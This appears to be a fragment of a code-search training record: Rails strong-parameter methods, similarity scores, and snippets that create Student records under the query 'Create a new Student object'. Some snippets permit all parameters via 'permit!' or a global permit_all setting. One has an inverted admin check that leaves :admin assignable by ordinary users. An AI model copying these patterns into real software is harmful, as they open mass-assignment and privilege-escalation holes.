"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def backend_user_params\n params.permit!\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.6981273",
"0.6783789",
"0.67460483",
"0.6742222",
"0.67354137",
"0.65934366",
"0.65028495",
"0.6497783",
"0.64826745",
"0.6479415",
"0.6456823",
"0.6440081",
"0.63800216",
"0.6376521",
"0.636652",
"0.6319898",
"0.6300256",
"0.62994003",
"0.6293621",
"0.6292629",
"0.6291586",
"0.629103",
"0.6282451",
"0.6243152",
"0.62413",
"0.6219024",
"0.6213724",
"0.62103724",
"0.61945",
"0.61786324",
"0.61755824",
"0.6173267",
"0.6163613",
"0.6153058",
"0.61521065",
"0.6147508",
"0.61234015",
"0.61168665",
"0.6107466",
"0.6106177",
"0.6091159",
"0.60817343",
"0.6071238",
"0.6062299",
"0.6021663",
"0.60182893",
"0.6014239",
"0.6011563",
"0.60080767",
"0.60080767",
"0.60028875",
"0.60005623",
"0.59964156",
"0.5993086",
"0.5992319",
"0.5992299",
"0.59801805",
"0.59676576",
"0.59606016",
"0.595966",
"0.59591126",
"0.59589803",
"0.5954058",
"0.5953234",
"0.5944434",
"0.5940526",
"0.59376484",
"0.59376484",
"0.5935253",
"0.5930846",
"0.5926387",
"0.59256274",
"0.5917907",
"0.5910841",
"0.590886",
"0.59086543",
"0.59060425",
"0.58981544",
"0.5898102",
"0.5896809",
"0.5895416",
"0.58947027",
"0.58923644",
"0.5887903",
"0.58830196",
"0.5880581",
"0.5873854",
"0.58697754",
"0.5869004",
"0.58669055",
"0.5866886",
"0.58664906",
"0.5864619",
"0.58630043",
"0.5862495",
"0.5861368",
"0.5859712",
"0.5855544",
"0.58551925",
"0.5851284",
"0.5850602"
] | 0.0 | -1 |
Create a new Student object | def new
@student = Student.new
@courses = Course.all
#@projecttags = Project.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_new_student(student_name)\n object = controller_create(:student)\n fail format(\"Student '%s' not created.\", student_name) if object.nil?\n\n PrcLib.info(format(\"'student': '%s' created with id %s\",\n student_name,\n object[:id]))\n object\n end",
"def new \n @student = Student.new\n end",
"def new\n @student = Student.new\n end",
"def new\n\t\t@student = Student.new\n\tend",
"def new\n\t\t@student = Student.new\n\tend",
"def new\n\t\t@student = Student.new\n\tend",
"def addStudent(studentId, fName, lName)\n @studentOne = Student.new(studentId, fName, lName)\n end",
"def create\n @student = Student.new(params[:student])\n @student.save\n end",
"def new\n @student = Student.new\n end",
"def new\n @student = Student.new\n end",
"def new\n @student = Student.new\n end",
"def new\n @student = Student.new\n end",
"def new\n @student = Student.new\n end",
"def new\n @student = Student.new\n end",
"def create_new_student(hParams)\n user = hParams[:student_name].split(' ')\n\n controller_data = {}\n unless hParams.exist?(:first_name)\n if user.length == 1\n controller_data[:first_name] = 'unknown first name'\n else\n controller_data[:first_name] = user[0..-2].join(' ')\n end\n end\n controller_data[:last_name] = user[-1] unless hParams.exist?(:last_name)\n\n student = controller_create(:student, controller_data)\n\n process_fail format(\"Student '%s' not created.\",\n hParams[:student_name]) if student.nil?\n\n PrcLib.info(format(\"'student': '%s' created with id %s\",\n hParams[:student_name],\n student[:id]))\n student\n end",
"def create\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tp = params[:student]\n\t\thash = { :original_name => p['original_name'], :sort_name => Student.make_sort_name(p['original_name']), :other_name => p['other_name'],\n\t\t\t:gender => p['gender'] == 'Male' ? 'M' : 'F', :born => VagueDate.factory(p['born']).to_s, :died => VagueDate.factory(p['died']).to_s,\n\t\t\t:home_town => p['home_town']['town'], :home_state => p['home_town']['state'], :home_country => p['home_town']['country'],\n\t\t\t:biographical_notes => p['biographical_notes'], :quotes => p['quotes'], :additional_notes => p['additional_notes'], :private_notes => p['private_notes'], :is_stub => 0\n\t\t}\n\n\t\t@student = Student.new(hash)\n\t\[email protected]_unique_name()\n\n\t\trespond_to do |format|\n\t\t\tif @student.save\n\t\t\t\tmarriages = parse_array(p['marriage'])\n\t\t\t\tmarriages.each {|marriage|\n\t\t\t\t\tif !marriage['name'].blank?\n\t\t\t\t\t\tMarriage.create_marriage(@student, { :name => marriage['name'] }, marriage['date'])\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tresidences = parse_array(p['residence'])\n\t\t\t\tresidences.each {|residence|\n\t\t\t\t\tif !residence.blank?\n\t\t\t\t\t\tStudentResidence.create_residence(@student, residence)\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tBrowse.student_changed(@student, nil)\n\t\t\t\tsolr().add_object(@student.to_solr())\n\n\t\t\t\tformat.html { redirect_to(@student, :notice => 'The student was successfully created.') }\n\t\t\telse\n\t\t\t\tformat.html {\n\t\t\t\t\t@page_title = 'Student'\n\t\t\t\t\tnew_setup()\n\t\t\t\t\trender :action => \"new\"\n\t\t\t\t}\n\t\t\tend\n\t\tend\n\tend",
"def create_student(name, fields)\n if fields[:first_name].nil? || fields[:last_name].nil?\n puts 'YAML API: Unable to create a student. '\\\n ':first_name and :last_name required.'\n return nil\n end\n\n result = create_data(name, fields)\n\n save_data\n result\n end",
"def createStudent(headerFields, student, year)\n studentData = Hash[headerFields.zip student]\n studentData[:year] = year\n Student.create(studentData)\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @manage_student = Manage::Student.new(manage_student_params)\n\n respond_to do |format|\n if @manage_student.save\n format.html { redirect_to @manage_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @manage_student }\n else\n format.html { render :new }\n format.json { render json: @manage_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = current_user.students.build(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to root_url, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@student = Student.new(student_params)\n\t\tif @student.save\n\t\t\tredirect_to @student\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\tend",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n if @student.save\n flash[:success] = \"Aluno criado com sucesso\"\n redirect_to student_path(@student)\n else\n flash[:error] = \"Não foi possível criar o aluno\"\n redirect_to students_path\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student,\n notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n @student.user_id = current_user.id\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Estudiante ha sido satisfactoriamente creado.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @people_student = People::Student.new(people_student_params)\n\n respond_to do |format|\n if @people_student.save\n format.html { redirect_to @people_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @people_student }\n else\n format.html { render :new }\n format.json { render json: @people_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n# @student = Student.new(params[:student])\n @student = Student.new(student_params)\n if @student.save\n redirect_to new_student_path\n end\n end",
"def create\n @student = current_user.students.create(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Registro Exitoso.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n answer = Student.createNew(params[:student])\n redirect_to teachers_path, notice: \"Student wasn't created! Please bind at least one teacher to class #{gcl} before.\" unless answer\n\n redirect_to \"/gclasses/#{Gclass.where(:gclass=>params[:student][:gclass]).first.id}\", notice: \"Student was successfully created.\"\n end",
"def create\n @student = @school.students.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n if @student.save\n flash[:success] = \"Student Created!\"\n redirect_to @student\n else\n render 'new'\n end\n end",
"def create\n Student.conn.exec('INSERT INTO students (name, age, spirit_animal, squad_id) values ($1,$2,$3,$4)', [ name, age, spirit_animal, squad_id])\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: \"Student was successfully created.\" }\n format.json { render json :show, status: :created, location: @student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = 'Student was successfully created.'\n format.html { redirect_to(students_url) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n if @student.save\n flash[:success] = \"Student was successfully created...\"\n redirect_to student_path(@student)\n else\n render 'new'\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to students_url, notice: 'Student was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n uid_from_gh = GitHubUserInfo.get_uid_from_gh(params[:github_name])\n return error_as_json(\"Could not find GitHub username#{params[:github_name]}\") if uid_from_gh.nil?\n\n # TODO: DRY this up with repeated code in user_invites_controller\n # TODO: Add this validation to model\n classroom = Classroom.find_by(id: params[:classroom_id])\n return error_as_json(\"Could not find classroom with ID #{params[:classroom_id]}\") if !classroom.present?\n\n # TODO: Add index for cohort-uid then find_by it instead.\n existing = Student.find_by(classroom_id: params[:classroom_id], uid: uid_from_gh)\n return error_as_json(\"Student ##{existing.id} for classroom ##{params[:classroom_id]} already exists\") if existing\n\n # TODO: Should we just allow preferred_name to be null instead of forcing it be be something?\n @student = Student.new(\n name: params[:name] || params[:github_name], # must have a github_name\n classroom_id: params[:classroom_id],\n github_name: params[:github_name],\n email: params[:email],\n preferred_name: params[:preferred_name] || params[:name] || params[:github_name],\n uid: uid_from_gh\n )\n @student.save ? info_as_json(\"Created student #{@student.name}\") : error_as_json(@student.errors)\n end",
"def create\n @student = current_user.students.build(student_params)\n # @student = Student.new(student_params)\n # @student.user_id = current_user.id\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to admissions_url, success: 'Student record was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n # @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n # Add the course just created to this student's courses, better use the drop down list \n if params[:course] != nil then\n @student.courses << Course.find(params[:course][:id])\n end\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = 'Student was successfully created.'\n format.html { redirect_to(@student) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def make_student(name, height, courses, hobbies)\n {\n name: name,\n height: height,\n courses: courses,\n hobbies: hobbies\n }\nend",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:success] = t('student.created')\n format.html { redirect_to(students_path) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n flash[:error] = t('default_error_message')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = @current_lop.students.build(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to lop_students_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to root_path, notice: 'Student details were successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n if @student.save\n render :show, status: :created, location: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\t#for each student, create student params\n\t\t@student = Student.create!(student_params)\n\t\t#once created, go back to students path\n\t\tredirect_to students_path\n\t#wrap up \"create\" action\n\tend",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student Info was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n @schools_students = SchoolsStudent.new\n @schools_students.student_id = @student.id\n @schools_students.school_id = params[:school_id]\n @schools_students.save!\n\n @contract = Contract.new\n @contract.student_id = @student.id\n @contract.save!\n\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n @student.idSchool = current_user.teacher.idSchool \n\n respond_to do |format|\n if @student.save\n StdTeacher.create(idStd: @student.id, idTeacher: current_user.teacher.id, idGroup: @student.idGroup)\n format.html { redirect_to students_path, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n if @student.save\n render json: @student, status: :created\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n relate_with_courses\n format.html { redirect_to admin_student_path(@student), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = current_district.students.build(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = \"#{edit_obj_link(@student)} was successfully created.\".html_safe\n format.html { redirect_to(index_url_with_page) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end",
"def show\n @student = Student.new \n end",
"def create\n @admin_student = Admin::Student.new(admin_student_params)\n\n respond_to do |format|\n if @admin_student.save\n format.html { redirect_to @admin_student, notice: \"Student was successfully created.\" }\n format.json { render :show, status: :created, location: @admin_student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @admin_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @college.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def initialize(lastName, firstName, studentID)\n @lastName = lastName\n @firstName = firstName\n @studentID = studentID\n end",
"def create\n @student = Student.new( student_params )\n\n if @student.save # If the validations pass\n redirect_to @student # Redirect to show action for this student\n else # If the validations fail\n render :new # Render the view associated with the new action.\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: '生徒情報が追加されました' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = current_user.build_student(student_params) #When createing the student, it connects the current logged in user to the student in the database. \n authorize @student\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(student_id,semister_id)\n @student_id=student_id\n @semister_id=semister_id\n end",
"def create\n @student_entity = StudentEntity.new(student_entity_params)\n\n respond_to do |format|\n if @student_entity.save\n format.json { render :show, status: :created, location: @student_entity }\n else\n format.json { render json: @student_entity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to [:admin, @student], notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(admin_student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
